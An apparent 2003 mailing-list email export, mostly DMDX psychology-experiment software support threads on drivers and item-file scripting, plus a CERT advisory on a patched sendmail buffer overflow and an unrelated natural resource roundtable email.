not to freeze. Then you could edit the windows shortcut for DMDX and include the -buffers N command, which will avoid the problem recurring in the future. Good luck, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Feb 2003 08:42:27 -0700",[DMDX] Re: Video Driver Advice,"At 06:04 AM 2/28/2003 +0000, you wrote: >I have DMDX installed on a computer running on Windows XP. However, when I >try to run an item file, the screen freezes and a message appears stating >that the video driver (NVIDIA GeForce2 MX/MX 400) may be the cause of the >instability. Does that mean I need to change the driver? If so, would >anyone be able to recommend a dual-head driver that runs smoothly with DMDX? Try using the shortcut labelled DMDX for GeForce video cards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Garbage In -- Gospel Out. ",0,0 wanggm ,DMDX@psy1.psych.arizona.edu,"Sat, 01 Mar 2003 10:22:19 +0800",[DMDX] Re:Video Driver Advice,">From: ""Angelo Alonzo"" >Reply-To: DMDX@psy1.psych.arizona.edu >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Video Driver Advice >I have DMDX installed on a computer running on Windows XP. However, when I try >to run an item file, the screen freezes and a message appears stating that the >video driver (NVIDIA GeForce2 MX/MX 400) may be the cause of the instability. >Does that mean I need to change the driver? If so, would anyone be able to >recommend a dual-head driver that runs smoothly with DMDX> In my experience, you need not to replace your video card. You just need to download the latest version of DMDX and install it. Then you run the ""DmDX for GeForce video cards"". Wang GM ______________________________________________ Greed is good or not?",0,0 agnès caño ,DMDX@psy1.psych.arizona.edu,"Mon, 03 Mar 2003 18:11:54 +0100",[DMDX] Re: (no subject),"Dear Mr. Foster, I 'm sorry but a have an other problem with my program. I have used yours instructions (in the top of mail) but my problem is that the image that must dissapear preming a keyboard also dissapear by voice key, in these images I want to dissapear only when the keyboard is press and not by voice key. I have include the program estructure, so you can find where the mistake is. +0001 ""imagen2.bmp"" / ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""boligrafo.bmp""; +0002 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""molino.bmp”; +11 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion1.bmp""; +12 ""imagen2.bmp"" / ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""tornillo.bmp""; +13 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""pato.bmp""; +21 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion2.bmp""; +22 ""imagen2.bmp"" / ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""relampago.bmp""; +23 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""pulpo.bmp""; +31 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion3.bmp""; +32 ""imagen2.bmp"" / ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""serpiente.bmp""; +33 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""hueso.bmp”; +41 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion4.bmp""; +42 ""imagen2.bmp"" / ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""cuenco.bmp""; +43 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""tiburon.bmp”; +51 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion5.bmp""; +52 ""imagen2.bmp"" / ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""ajedrez.bmp""; +53 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""cereza.bmp”; +61 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion6.bmp""; +62 ""imagen2.bmp"" / ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""puente.bmp""; +63 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""zorro.bmp”; +71 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion7.bmp""; +72 ""imagen2.bmp"" / ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""cepillo de dientes.bmp""; +73 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""maiz.bmp”; +81 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion8.bmp""; +82 ""imagen2.bmp"" / ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""cruz.bmp""; +83 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""almohada.bmp”; +91 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion9.bmp""; +92 ""imagen2.bmp"" / ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""hoz.bmp""; +93 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""mariposa.bmp”; +101 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion10.bmp""; +102 ""imagen2.bmp"" / ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""chaleco.bmp""; +103 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""lavadora.bmp”; +111 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion11.bmp""; +112 ""imagen2.bmp"" / ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""ancla.bmp""; +113 ""negro.bmp"" / ""español.bmp"" / ""negro.bmp"" / * ""cerdo.bmp”; +121 ""imagen1.bmp"" / ""negro.bmp"" / * ""definicion12.bmp""; +122 ""imagen2.bmp"" / ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""cesta.bmp""; +123 ""negro.bmp"" / ""catala.bmp"" / ""negro.bmp"" / * ""pimiento.bmp”; +0003 ""imagen1.bmp"" / ""negro.bmp"" / * ""definiciona.bmp""; Thanks you for all, sincerely A. Caño ""j.c.f."" wrote: > > You will want to use and to map and unmap responses on > a trial by trial basis. See the input notes: > > http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhinput.htm > > So the voice key trials will have in them > and the keyboard trials will have teclado""> > > At 12:16 PM 2/10/2003 +0100, you wrote: > >> Dear Mr. Foster, >> I have a problem with my psichological experiment using DMDX. My >> experiment have 4 bloks ok 12 trials, each trial consists of 3 >> images, and I have to evaluate the RT of each of these images. My >> problem is that in 2 images I want to record the RT by voicekey, but >> in one image I need to record the RT by keyboard response, and this >> is the point that I don't know how do it. >> Actually my experiment (only one trial ) is the next: >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> +1 ""imagen1.bmp"" / ""negro.bmp"" / * >> ""image1.bmp""; ""imagen2.bmp"" / >> +2 ""negro.bmp"" / ""español.bmp"" / >> ""negro.bmp"" / * ""ajedrez.bmp""; >> +3 ""negro.bmp"" / ""catala.bmp"" / > 500> ""negro.bmp"" / * ""ancla.bmp""; >> >> I would Know how it has to be made to record the TR of the image1 by >> presing the Keyboard (space), while recording of the other 2 images >> would be by voicekey. If this isn't possible, I would like to know >> how the first image could disappear by preming a key ( I don't care >> about the recording of this image ) whithout modificate the other >> two images. >> >> Thank you for all, >> sincerely A. Caño > > /""\\ -jonathan > (j.c.f.) \\ > / X ASCII RIBBON > CAMPAIGN - AGAINST HTML MAIL / \\ What we love we shall grow to > resemble. - Bernard of > Clairvaux > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to be > removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 03 Mar 2003 13:07:52 -0500",CERT Advisory CA-2003-07 Remote Buffer Overflow in Sendmail," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-07 Remote Buffer Overflow in Sendmail Original release date: March 3, 2003 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Sendmail Pro (all versions) * Sendmail Switch 2.1 prior to 2.1.5 * Sendmail Switch 2.2 prior to 2.2.5 * Sendmail Switch 3.0 prior to 3.0.3 * Sendmail for NT 2.X prior to 2.6.2 * Sendmail for NT 3.0 prior to 3.0.3 * Systems running open-source sendmail versions prior to 8.12.8, including UNIX and Linux systems Overview There is a vulnerability in sendmail that may allow remote attackers to gain the privileges of the sendmail daemon, typically root. I. Description Researchers at Internet Security Systems (ISS) have discovered a remotely exploitable vulnerability in sendmail. This vulnerability could allow an intruder to gain control of a vulnerable sendmail server. Most organizations have a variety of mail transfer agents (MTAs) at various locations within their network, with at least one exposed to the Internet. Since sendmail is the most popular MTA, most medium-sized to large organizations are likely to have at least one vulnerable sendmail server. In addition, many UNIX and Linux workstations provide a sendmail implementation that is enabled and running by default. This vulnerability is message-oriented as opposed to connection-oriented. That means that the vulnerability is triggered by the contents of a specially-crafted email message rather than by lower-level network traffic. This is important because an MTA that does not contain the vulnerability will pass the malicious message along to other MTAs that may be protected at the network level. In other words, vulnerable sendmail servers on the interior of a network are still at risk, even if the site's border MTA uses software other than sendmail. Also, messages capable of exploiting this vulnerability may pass undetected through many common packet filters or firewalls. Sendmail has indicated to the CERT/CC that this vulnerability has been successfully exploited in a laboratory environment. We do not believe that this exploit is available to the public. However, this vulnerability is likely to draw significant attention from the intruder community, so the probability of a public exploit is high. A successful attack against an unpatched sendmail system will not leave any messages in the system log. However, on a patched system, an attempt to exploit this vulnerability will leave the following log message: Dropped invalid comments from header address Although this does not represent conclusive evidence of an attack, it may be useful as an indicator. A patched sendmail server will drop invalid headers, thus preventing downstream servers from receiving them. The CERT/CC is tracking this issue as VU#398025. This reference number corresponds to CVE candidate CAN-2002-1337. For more information, please see http://www.sendmail.org http://www.sendmail.org/8.12.8.html http://www.sendmail.com/security/ http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21950 http://www.kb.cert.org/vuls/id/398025 II. Impact Successful exploitation of this vulnerability may allow an attacker to gain the privileges of the sendmail daemon, typically root. Even vulnerable sendmail servers on the interior of a given network may be at risk since the vulnerability is triggered from the contents of a malicious email message. III. Solution Apply a patch from Sendmail Sendmail has produced patches for versions 8.9, 8.10, 8.11, and 8.12. However, the vulnerability also exists in earlier versions of the code; therefore, site administrators using an earlier version are encouraged to upgrade to 8.12.8. These patches are located at ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.12.security.cr.patch ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.6.security.cr.patch ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.9.3.security.cr.patch Apply a patch from your vendor Many vendors include vulnerable sendmail servers as part of their software distributions. We have notified vendors of this vulnerability and recorded their responses in the systems affected section of VU#398025. Several vendors have provided a statement for direct inclusion in this advisory; these statements are available in Appendix A. Enable the RunAsUser option There is no known workaround for this vulnerability. Until a patch can be applied, you may wish to set the RunAsUser option to reduce the impact of this vulnerability. As a good general practice, the CERT/CC recommends limiting the privileges of an application or service whenever possible. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Computer, Inc. Security Update 2003-03-03 is available to fix this issue. Packages are available for Mac OS X 10.1.5 and Mac OS X 10.2.4. It should be noted that sendmail is not enabled by default on Mac OS X, so only those systems which have explicitly enabled it are susceptible to the vulnerability. All customers of Mac OS X, however, are encouraged to apply this update to their systems. Avaya, Inc. Avaya is aware of the vulnerability and is investigating impact. As new information is available this statement will be updated. BSD/OS Wind River Systems has created patches for this problem which are available from the normal locations for each release. The relevant patches are M500-006 for BSD/OS version 5.0 or the Wind River Platform for Server Appliances 1.0, M431-002 for BSD/OS 4.3.1, or M420-032 for BSD/OS 4.2 systems. Cisco Systems Cisco is investigating this issue. If we determine any of our products are vulnerable that information will be available at: http://www.cisco.com/go/psirt Cray Inc. The code supplied by Cray, Inc. in Unicos, Unicos/mk, and Unicos/mp may be vulnerable. Cray has opened SPRs 724749 and 724750 to investigate. Cray, Inc. is not vulnerable for the MTA systems. Hewlett-Packard Company SOURCE: Hewlett-Packard Company HP Services Software Security Response Team x-ref: SSRT3469 sendmail HP will provide notice of the availability of patches through standard security bulletin announcements and be available from your normal HP Services support channel. IBM Corporation The AIX operating system is vulnerable to the sendmail issues discussed in releases 4.3.3, 5.1.0 and 5.2.0. A temporary patch is available through an efix package which can be found at ftp://ftp.software.ibm.com/aix/efixes/security/sendmail_efix.tar.Z IBM will provide the following official fixes: APAR number for AIX 4.3.3: IY40500 (available approx. 03/12/2003) APAR number for AIX 5.1.0: IY40501 (available approx. 04/28/2003) APAR number for AIX 5.2.0: IY40502 (available approx. 04/28/2003) Openwall GNU/*/Linux Openwall GNU/*/Linux is not vulnerable. We use Postfix as the MTA, not sendmail. Red Hat Inc. Updated sendmail packages that are not vulnerable to this issue are available for Red Hat Linux, Red Hat Advanced Server, and Red Hat Advanced Workstation. Red Hat Network users can update their systems using the 'up2date' tool. Red Hat Linux: http://rhn.redhat.com/errata/RHSA-2003-073.html Red Hat Linux Advanced Server, Advanced Workstation: http://rhn.redhat.com/errata/RHSA-2003-074.html SGI SGI acknowledges VU#398025 reported by CERT and has released an advisory to address the vulnerability on IRIX. Refer to SGI Security Advisory 20030301-01-P available from ftp://patches.sgi.com/support/free/security/advisories/20030301-01-P or http://www.sgi.com/support/security/. The Sendmail Consortium The Sendmail Consortium suggests that sites upgrade to 8.12.8 if possible. Alternatively, patches are available for 8.9, 8.10, 8.11, and 8.12 on http://www.sendmail.org/ Sendmail, Inc. All commercial releases including Sendmail Switch, Sendmail Advanced Message Server (which includes the Sendmail Switch MTA), Sendmail for NT, and Sendmail Pro are affected by this issue. Patch information is available at http://www.sendmail.com/security. _________________________________________________________________ Our thanks to Internet Security Systems, Inc. for discovering this problem, and to Eric Allman, Claus Assmann, and Greg Shapiro of Sendmail for notifying us of this problem. We thank both groups for their assistance in coordinating the response to this problem. _________________________________________________________________ Authors: Jeffrey P. Lanza and Shawn V. Hernan ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-07.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. 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Revision History Mar 03, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPmOZEWjtSoHZUTs5AQGNUwP/YC0aRMqrFoLxUjG9pZIOBb98z8BFPfTW w/5u09rcW7WpH52XGaOWbu9PYtnLKtPaMrwevc38r6ILvZywasxdpUcUtR4W9XPZ 9EW4LYB1EaU81PLpzkQXWkVAhlX4vgHTU75oEcjfsacxXHlxtMYM1JpmyO8gvlnl pD4vLdvJqHE= =PfHu -----END PGP SIGNATURE----- ",0,1 Kelley McDonald ,linuxusers@astron.Berkeley.EDU,"Mon, 03 Mar 2003 12:49:46 -0800",very bad security bug in sendmail,"I strongly advise if you run sendmail as a daemon on any of your linux-based computers, disable it until you can apply the patch or upgrade it to sendmail-8.12.8. See attached mail for more info. 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Perhaps we should look at how we can ensure/maintain biological integrity. * biological integrity is the ability of an aquatic ecosystem to support and maintain a balanced, integrated, adaptive community of organisms having a species composition, diversity and functional organization comparable to that of the natural habitats in the region (Karr and Dudley 1981). There are many questions inherent here. We have a very poor understanding (or perhaps a DESIRE to understand or expend the resources necessary to understand) what's needed (from a management standpoint) to achieve some future that includes a measure of biological integrity. This also should tie in with some sort of sustainability. An honest and valid question is whether or not past, present (and one could assume, future) agricultural and natural resource management activities are ""sustainable.""? Assuming we can't answer this question, perhaps we at least should agree to try to understand and acknowledge that it is an issue we'll either deal with now or pass it off to future generations. Sustainability - must be defined and agreed to by the group My perception of ""sustainability"" Three legged stool analogy - economics, environmental and social. A future vision of ""balance"" that supports these three components of an ecosystem (of which, humans are a part of). Issues include Habitat connectivity Habitat integrity Productive agriculture (farm the best, leave the rest) A ""culling"" of intensively farmed land- remove flood/drought prone lands from production Social integrity-minimize externalities or mitigate effects (payments, monitoring, etc) Stakeholder involvement and participation in problem and solution definition CF -----Original Message----- From: Linda Kingery [mailto:lkingery@polarcomm.com] Sent: Thursday, February 27, 2003 3:33 PM To: Maggie Anderson; Gretchen Mehmel; Dave Torgerson; Dan Oberg; Cynthia L. Pansing; Mike Ratzlaff; Chuck Fritz; Kristen Blann; Kristen Nelson; Mike Mageau; Jody Horntvedt; Helen Cozzetto Subject: Natural Resource Roundtable - agenda and feedback Hi all, You should have received a draft agenda with planning notes from me on Tuesday. Mike Mageau, Dave Torgerson and I spoke with Jody Tuesday afternoon. I spoke to Maggie this morning. Sounds like there is general agreement with the agenda. I drafted the cover letter (attached) that will accompany the agenda (attached) today for your review. This will go out on Monday to those on the attached spreadsheet. So, if you have feedback, please get it to me by 10 am Monday. Jody would also like another telephone conference to go through the agenda to be certain that it accomplishes what we're after. Please indicate you availablility for a one hour call on these dates: Tuesday March 4 - 11:30 - 1:30 Thursday march 13 10:30 - 11:30 Finally, Jody asked that each of you write her an email with your ideas about what your vision (regarding natural resources) of the region is - doesn't have to be complete throughts, she's just interested in getting a feel for the types of ideas that we all have. Jody also asked if the participants' organizations have vision statements. Thanks!! LK ",0,0 """Jonathan C. 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Didn't even see it as DMDX was being developed and I was pretty happy about that personally as it meant an awful lot of very complex code was functioning perfectly -- which I found difficult to believe in the early stages but believe me I checked that so many ways I just had to accept it. I expect the display would get seriously out of synch if you are getting this message, DMDX would expect one frame to be on the screen when in fact the previous or next frame is displayed instead. Have you applied NVIDIA reference drivers? I use the 40.72 drivers on my XP machines. I use NVIDIA cards everywhere and have never seen a machine throw that message and I've seen machines in some pretty seriously broken states. Is this a DirectX 9 machine? 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For example: 0 ""Last Tuesday at 6 pm""; +147 ""Leigh waited for Ted""; +147 ""while""; 0 time +147 "" "" / c* ""eating dinner.""; +147 *""Leigh was eating dinner?""; TIME 0 c* ""*NEXT*""; --k.i.f.",0,0 gardners@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Fri, 07 Mar 2003 12:46:11 -0700",[DMDX] Kernel32.dll to run DMDX,"I have been trying to get a Windows 95 machine up and running with DMDX. Do you know where I can get a Kernel32.dll file so that I can get DMDX.exe to work? Also, the version of Direct X that I have is 8.0. I have searched the archives with no success to find an answer to this question. The internet has provided much commentary with no instructions on how to proceed. The error is Kernel32.dll:SetThreadExecutionState I hope that this provides enough information to make suggestions. I look forward to the response. Selene Gardner ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 07 Mar 2003 14:48:44 -0700",[DMDX] Re: Kernel32.dll to run DMDX,"At 12:46 PM 3/7/2003 -0700, you wrote: >I have been trying to get a Windows 95 machine up and running with DMDX. > Do you know where I can get a Kernel32.dll file so that I can get DMDX.exe >to work? Also, the version of Direct X that I have is 8.0. I have searched >the archives with no success to find an answer to this question. The internet >has provided much commentary with no instructions on how to proceed. > >The error is Kernel32.dll:SetThreadExecutionState > >I hope that this provides enough information to make suggestions. I look >forward to the response. Kernal32.dll _is_ the operating system, you can't just ""get"" another one. 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I am unsure why it does not understand that pressing the spacebar should be interpreted as a request to continue. In other words, what can I do to make it read line by line rather than freezing, but still requiring the subject's response to move on. Thank-you. Quoting Kenneth Forster : > -----Original Message----- > > > If you don't want any response to the item, then use an item number ""0"" > without any correct response indicator or time limit. For example: > > 0 ""Last Tuesday at 6 pm""; > +147 ""Leigh waited for Ted""; > +147 ""while""; > 0 time > +147 "" "" / c* ""eating dinner.""; > +147 *""Leigh was eating dinner?""; > TIME > 0 c* ""*NEXT*""; > > --k.i.f. > > > > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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If you do it in a single frame, as below, it works well in terms of visibility of the item... +1 %29 ""########"" / %1 * "" house "" / %28 ""########"" / %2 "" house "" / %27 ""########"" / %3 "" house "" / %26 ""########"" / %4 "" house "" / %25 ""########"" / %5 "" house "" / %24 ""########"" / %6 "" house "" / %23 ""########"" / %7 "" house "" / %22 ""########"" / %8 "" house "" / %21 ""########"" / %9 "" house "" / %20 ""########"" / %10 "" house "" / %19 ""########"" / %11 "" house "" / %18 ""########"" / %12 "" house "" / %17 ""########"" / %13 "" house "" / %16 ""########"" / %14 "" house "" / %15 ""########"" / %15 "" house "" / %14 ""########"" / %16 "" house "" / %13 ""########"" / %17 "" house "" / %12 ""########"" / %18 "" house "" / %11 ""########"" / %19 "" house "" / %10 ""########"" / %20 "" house "" / %9 ""########"" / %21 "" house "" / %8 ""########"" / %22 "" house "" / %7 ""########"" / %23 "" house "" / %6 ""########"" / %24 "" house "" / %5 ""########"" / %25 "" house "" / %4 ""########"" / %26 "" house "" / %3 ""########"" / %27 "" house "" / %2 ""########"" / %28 "" house "" / %1 ""########"" / %29 "" house "" / ; ...however, DMDX has to wait until the frame is finished before it moves on to the next item, which means each frame is 29*300ms=8.7 seconds long, so the experiment will take forever if there are, as planned, 600 items (at least 1.5 hours). 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I haven't >done too much testing of one yet but what testing I did do showed me >that NVIDIA's drivers were still poor for DMDX -- they didn't crash >the machine anymore but I saw white displays when there should have >been text displayed which is related to what you are describing. > > /""\\ > -jonathan (j.c.f.) \\ /   Jonathan,   After receiving your email, I installed the 40.72 driver, but same problem - 'Flips out of synch'. I've even tried minimising the buffered display to 1, but same problem. The computer lists DirectX 8.1+, so I'm not sure if that's already DirectX 9. Is it better to just not use a GeForce4 Ti driver?   On another issue, I have a PCI-DIO24 installed. It lists two I/O Ranges D800-D87F and D400-D403. After reading the archived messages, I entered D800 as the PIO Address when I did the PIO Test in TimeDX. But when I press start, TimeDX just shuts down, saying it has encountered a problem and needs to close. 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If you do it in a single frame, as below, it works well in terms >of visibility of the item... > >+1 %29 ""########"" / %1 * "" house "" / %28 ""########"" / %2 "" house "" / >%27 ""########"" / %3 "" house "" / %26 ""########"" / %4 "" house "" / >%25 ""########"" / %5 "" house "" / %24 ""########"" / %6 "" house "" / >%23 ""########"" / %7 "" house "" / %22 ""########"" / %8 "" house "" / >%21 ""########"" / %9 "" house "" / %20 ""########"" / %10 "" house "" / >%19 ""########"" / %11 "" house "" / %18 ""########"" / %12 "" house "" / >%17 ""########"" / %13 "" house "" / %16 ""########"" / %14 "" house "" / >%15 ""########"" / %15 "" house "" / %14 ""########"" / %16 "" house "" / >%13 ""########"" / %17 "" house "" / %12 ""########"" / %18 "" house "" / >%11 ""########"" / %19 "" house "" / %10 ""########"" / %20 "" house "" / >%9 ""########"" / %21 "" house "" / %8 ""########"" / %22 "" house "" / >%7 ""########"" / %23 "" house "" / %6 ""########"" / %24 "" house "" / >%5 ""########"" / %25 "" house "" / %4 ""########"" / %26 "" house "" / >%3 ""########"" / %27 "" house "" / %2 ""########"" / %28 "" house "" / >%1 ""########"" / %29 "" house "" / ; > >..however, DMDX has to wait until the frame is finished before it moves on >to the next item, which means each frame is 29*300ms=8.7 seconds long, so >the experiment will take forever if there are, as planned, 600 items (at >least 1.5 hours). Yeah, you're stuck with that, there's no way to dump the display queue. > The other option is to use counters to loop and also to increment and > decrement the item and the mask as done below (although I still need to > sort out how to do the multiway branching such that when the subject > responds it quits the loop and goes on to the next item)... > >1000 ; > >+1 <%ctr 2> * ""########"" / <%ctr 3> * "" house "" >; > >..However, with this method of looping a single item, the word is much >more visible. > >Any ideas? Thank you! ""house"" is being displayed during the inter item interval as DMDX loops. You want to set the parameter real low if your machine can do it and change your item to the following and take whatever you set to plus one off the initial value of counter 2. You have to add one because the new last frame takes a tick to move onto the display: +1 <%ctr 2> * ""########"" / <%ctr 3> * "" house "" / ""########""; You'll never be able to have a %1 ""########"" as is but you could always hard code the last few iterations in the following item. To handle the looping you could use to continue the loop and a to break out but of course you can't have two branches in the same item and you can't have counter branches in a so you'll have to have something like this (assuming ): ~1000 ; ~1001 ; +1002 <%ctr 2> * ""########"" / <%ctr 3> * "" house "" / ""########""; ~1003 ; ~1004 ; +1005 %3 ""########"" / * %27 "" house "" / %2 ""########"" / %28 "" house "" / %1 ""########"" / %29 "" house "" / ; Not sure if my counter limits are exactly right but you should be getting the idea. You'll probably want to some counters too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 09 Mar 2003 22:19:54 -0700",[DMDX] Re: Flips out of synch,"At 05:12 AM 3/10/2003 +0000, you wrote: > >After receiving your email, I installed the 40.72 driver, but same problem >- 'Flips out of synch'. I've even tried minimising the buffered display to >1, but same problem. The computer lists DirectX 8.1+, so I'm not sure if >that's already DirectX 9. Is it better to just not use a GeForce4 Ti driver? You have to use the GeForce4 Ti driver if that's what your video card is. No, DX 8.1 isn't DX 9 (although who knows what 8.1+ is). Guess you'll have to send me your item file (or a portion of it big enough to experience the error if it's huge) so I can see if I can replicate the problem here. > >On another issue, I have a PCI-DIO24 installed. It lists two I/O Ranges >D800-D87F and D400-D403. After reading the archived messages, I entered >D800 as the PIO Address when I did the PIO Test in TimeDX. But when I >press start, TimeDX just shuts down, saying it has encountered a problem >and needs to close. I've tried entering the whole I/O range as well, but >same result. Is there a solution to this? > Yeah, you install and set up the Instacall Drivers that come with the DIO24 and use them in TimeDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else. ",0,0 Paul Dockree ,DMDX@psy1.psych.arizona.edu,"Mon, 10 Mar 2003 14:23:52 +0000",[DMDX] ," Hi, Have a quick question regarding the presentation of fixation points in DMDX. I like to run an experiment whereby a small fixation, presented centrally, would remain on screen for the duration of the experiment (so, in effect it would be the default background). Do know how I might do this? So far I've only managed to present fixations that appear on every trial so I get a periodic flicker as a new fixation is presented each time. Many thanks, Paul. ------------------------------------------ Paul Dockree Department of Psychology Áras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083 ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 10 Mar 2003 14:57:33 +0000",[DMDX] Re: ,"At 14:23 10/03/2003 +0000, you wrote: >Hi, > >Have a quick question regarding the presentation of fixation points in DMDX. > >I like to run an experiment whereby a small fixation, presented centrally, >would remain on screen for the duration of the experiment (so, in effect >it would be the default background). Do know how I might do this? So far >I've only managed to present fixations that appear on every trial so I get >a periodic flicker as a new fixation is presented each time. > >Many thanks, > >Paul. Hi Paul, The trick is to use the ""do not erase"" character (!) at the end of each item. In the following fragment, each word is followed by a fixation cross which stays on the screen throughout the delay between trials and is replaced by the next word: +1 * ""HERMIT"" / ""+"" <% 120> /!; +2 * ""BENCH"" / ""+"" <% 120> /!; +3 * ""BRANCH"" / ""+"" <% 120> /!; +4 * ""BLEACH"" / ""+"" <% 120> /!; etc. Cheers, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 ****************************************************",0,0 tyler.roncero@utoronto.ca,DMDX@psy1.psych.arizona.edu,"Mon, 10 Mar 2003 13:32:20 -0500",[DMDX] Re: RE: Not timing every line,"Thank-you, that did work, but it's created a new problem. The item files now look as follow: , 1 *“One day at the mall”; 1 “Michael was stopped by Jack”; 1 “while”; +1 "" "" / *“leaving the store.”; +1 *“Michael was leaving the store?”; 1 ""*NEXT*""; 9 “One day outside the movie theatre”; 9 “Jacob was harassed by Brian”; 9 “while”; +9 "" "" / c *“he stood in line.”; +9 *“Jacob stood in line?”; 9 ""*NEXT*""; However, with in the header file, it does not wait for the subject to respond before moving to the next item. We want this requirement to remain in place. When I removed the , however, it froze on the first line. I am unsure why it does not understand that pressing the spacebar should be interpreted as a request to continue. In other words, what can I do to make it read line by line rather than freezing, but still requiring the subject's response to move on. Thank-you.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 10 Mar 2003 14:16:01 -0700",[DMDX] legacy scramble parameters," Well we've got a real head scratcher out there that I'd better issue a heads up about. Seems like somewhere in the last few months use of the legacy scramble parameters will crash DMDX, S1, G2, I3 and so forth on the parameter line. sscanf() has just plain stopped working, works fine elsewhere but not in the scramble routines and not since version 3 or thereabouts. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There will always be survivors. - Robert Heinlein ",0,0 Angelo Alonzo ,DMDX@psy1.psych.arizona.edu,"Tue, 11 Mar 2003 04:32:22 +0000",[DMDX] Re: Flips out of synch,"Jonathan, Pasted below is a copy of one of the item files that produces the 'Flips out of synch' message. Oddly, visual and paired auditory lexical decision tasks seem to run smoothly. It's only when I run a naming task that this message pops up. n92 s80 m2011 f30 t3000 $ 0 �In this experiment, a letter string will appear on the screen�, �Your task is to say the word aloud�,   ��, �Please speak clearly into the microphone�, �You should answer as quickly but as accurately as possible�, �Here are some practice items. Press the rectangular start key to begin�; 250= * �hatched� /; 250= * �treasons� /; 250= * �wigging� /; 250= * �pies� /; 250= * �tickles� /; 250= * 